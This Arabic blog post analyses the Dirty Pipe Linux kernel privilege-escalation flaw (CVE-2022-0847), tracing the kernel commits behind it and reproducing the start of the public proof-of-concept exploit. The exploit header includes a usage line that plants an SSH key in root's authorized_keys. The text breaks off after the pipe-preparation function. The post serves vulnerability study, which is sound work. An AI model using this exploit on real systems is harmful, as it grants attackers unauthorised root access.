
تحليل متعمق وإثبات مفهوم لاستغلال CVE-2022-0847 (DirtyPipe)، وهي ثغرة في نواة لينكس تتيح الكتابة التعسفية على الملفات وتصعيد الامتيازات المحلية عبر أعلام غير مهيأة لمخزن الأنابيب المؤقت.
title: تحليل ثغرة CVE-2022-0847 (تصعيد الصلاحيات المحلية DirtyPipe) date: 2022-03-08 14:41:20 tags: - تصعيد صلاحيات لينكس categories: - أبحاث أمنية
CVE-2022-0847هي ثغرة في نواة لينكس منذ الإصدار5.8، يمكن للمهاجم استغلالها لاستبدال البيانات في أي ملف للقراءة فقط. يؤدي ذلك إلى رفع صلاحيات المستخدم العادي إلى صلاحيةroot، حيث يمكن للعمليات غير المميزة حقن كود في عمليات الجذر. تشبه
CVE-2022-0847ثغرةCVE-2016-5195 "Dirty Cow"(تصعيد صلاحيات Dirty Cow)، وهي سهلة الاستغلال، وقد أطلق عليها مؤلف الثغرة اسمDirty Pipe.
هذه المدونة مخصصة بشكل أساسي لتسجيل الأحداث الأمنية والمقالات المتعلقة بالثغرات، وهي متاحة للجميع للتعلم والتبادل والاختبار. لا يتحمل مؤلف المقال أي مسؤولية عن أي عواقب أو أضرار مباشرة أو غير مباشرة ناتجة عن نشر أو استخدام المعلومات أو الأدوات المقدمة في هذه المقالة، حيث يتحمل المستخدم المسؤولية الكاملة.
مستوى الخطر: عالي
POC/EXP: منشور بالفعل
الإصدارات المتأثرة: نواة لينكس 5.8 والإصدارات الأحدث
ملاحظة: الإصدارات الآمنة: نواة لينكس >= 5.16.11، نواة لينكس >= 5.15.25، نواة لينكس >= 5.10.102
فيما يلي شرح موجز لتفاصيل الثغرة.
بعض المفاهيم:
Linux pipe: نصف مزدوج، تدفق البيانات من طرف إلى آخر فقط.
pipe_buffer: مخزن مؤقت للأنبوب، يستخدم لتخزين البيانات المكتوبة مؤقتًا، وتتم القراءة والكتابة عبر هذا المخزن.
page: إطار صفحة، 4 كيلوبايت، له علاقة واحد لواحد مع مخزن الأنبوب المؤقت.
pipe_buf_operations: لتخزين مجموعة عمليات مخزن الأنبوب المؤقت.
can_merge: علامة الدمج، إذا تم ضبطها على 1، فهذا يعني أنه يمكن دمج بيانات القراءة/الكتابة العامة للأنبوب في المخزن الحالي. إذا تم ضبطها على 0، فسيتم استخدام مقطع صفحة أنبوب جديد دائمًا للبيانات الجديدة.
splice(): نقل البيانات بين واصفي ملفين، مثل دالة sendfile()، وهي تدعم الأنابيب وتستخدم النسخ الصفري. تربط بين ذاكرة التخزين المؤقت للصفحة للملف ومخزن الأنبوب المؤقت، أي أن الكتابة تؤثر على كليهما في نفس الوقت، وعند التحقق من الصلاحيات، يتم التحقق فقط من صلاحية قراءة مصدر البيانات، ولا يوجد فحص للصلاحية عند الكتابة. سلسلة الاستدعاء التقريبية:
// fs/splice.c
syscall --> do_splice --> do_splice_to --> splice_read(generic_file_splice_read()) --> call_read_iter(generic_file_read_iter)
// linux/mm/filemap.c
generic_file_read_iter --> filemap_read --> copy_folio_to_iter
// linux/lib/iov_iter.c
copy_folio_to_iter --> __copy_folio_to_iter --> copy_page_to_iter_pipe

تاريخ تطور كشف "دمج" الأنابيب في لينكس:
بناءً على شرح المؤلف، إليك تحليل بسيط للكود.
النظام الأولي والمفاهيم المذكورة أعلاه متطابقة، حيث توجد علامة can_merge تستخدم لتحديد ما إذا كان يمكن كتابة بيانات جديدة إلى مخزن الأنبوب المؤقت الحالي.
أضاف Commit 5274f052e7b3 دالة splice()، لكن التحقق لم يتغير، ولا يزال يعتمد على علامة can_merge لتحديد ما إذا كان مخزن الأنبوب المؤقت الحالي متاحًا.


Commit 01e7187b4119 توقف عن استخدام علامة can_merge واستبدلها بمقارنة مؤشر struct pipe_buf_operations، أي أنه فقط نوع anon_pipe_buf_ops هو المسموح له بكتابة بيانات جديدة، لذلك يكفي التحقق من كونه هذا النوع.


أضاف Commit 241699cd72a8 دالتين جديدتين يمكنهما تخصيص struct pipe_buf_operations جديد، لكن لا يتم تهيئة علامات flags الخاصة به.

Commit f6dd975583bd حول هذه المقارنة إلى مقارنة لكل علامة مخزن PIPE_BUF_FLAG_CAN_MERGE، ويمكن حقن PIPE_BUF_FLAG_CAN_MERGE، مع إلغاء تعريف واستخدام أنواع buf_ops الأخرى.



لذلك، لدى المؤلف فكرة الاستغلال التالية:
PIPE_BUF_FLAG_CAN_MERGE لمخزن الأنبوب المؤقت pipe_buffersplice، مما يربط مخزن الأنبوب المؤقت بذاكرة التخزين المؤقت للصفحة.write في النهاية copy_page_from_iter() للكتابة، وبسبب علامة PIPE_BUF_FLAG_CAN_MERGE، سيتم الكتابة مباشرة.تحليل الـ Exp
/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort(); // إنشاء p[0] و p[1] يشيران إلى طرفي الأنبوب. الأول للقراءة والثاني للكتابة
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); // الحصول على حجم الأنبوب
static char buffer[4096];
/* املأ الأنبوب بالكامل؛ سيحتوي كل pipe_buffer الآن على
علامة PIPE_BUF_FLAG_CAN_MERGE */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; // ملء الأنبوب وضبط PIPE_BUF_FLAG_CAN_MERGE
write(p[1], buffer, n);
r -= n;
}
/* أفرغ الأنبوب، لتحرير جميع حالات pipe_buffer (ولكن
مع ترك العلامات مهيأة) */
for (unsigned r = pipe_size; r > 0;) { // إفراغ الأنبوب، مع الاحتفاظ بالعلامات
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}
/* الأنبوب الآن فارغ، وإذا أضاف شخص ما pipe_buffer جديدًا
دون تهيئة "flags" الخاص به، فإن المخزن سيكون قابلاً للدمج */
}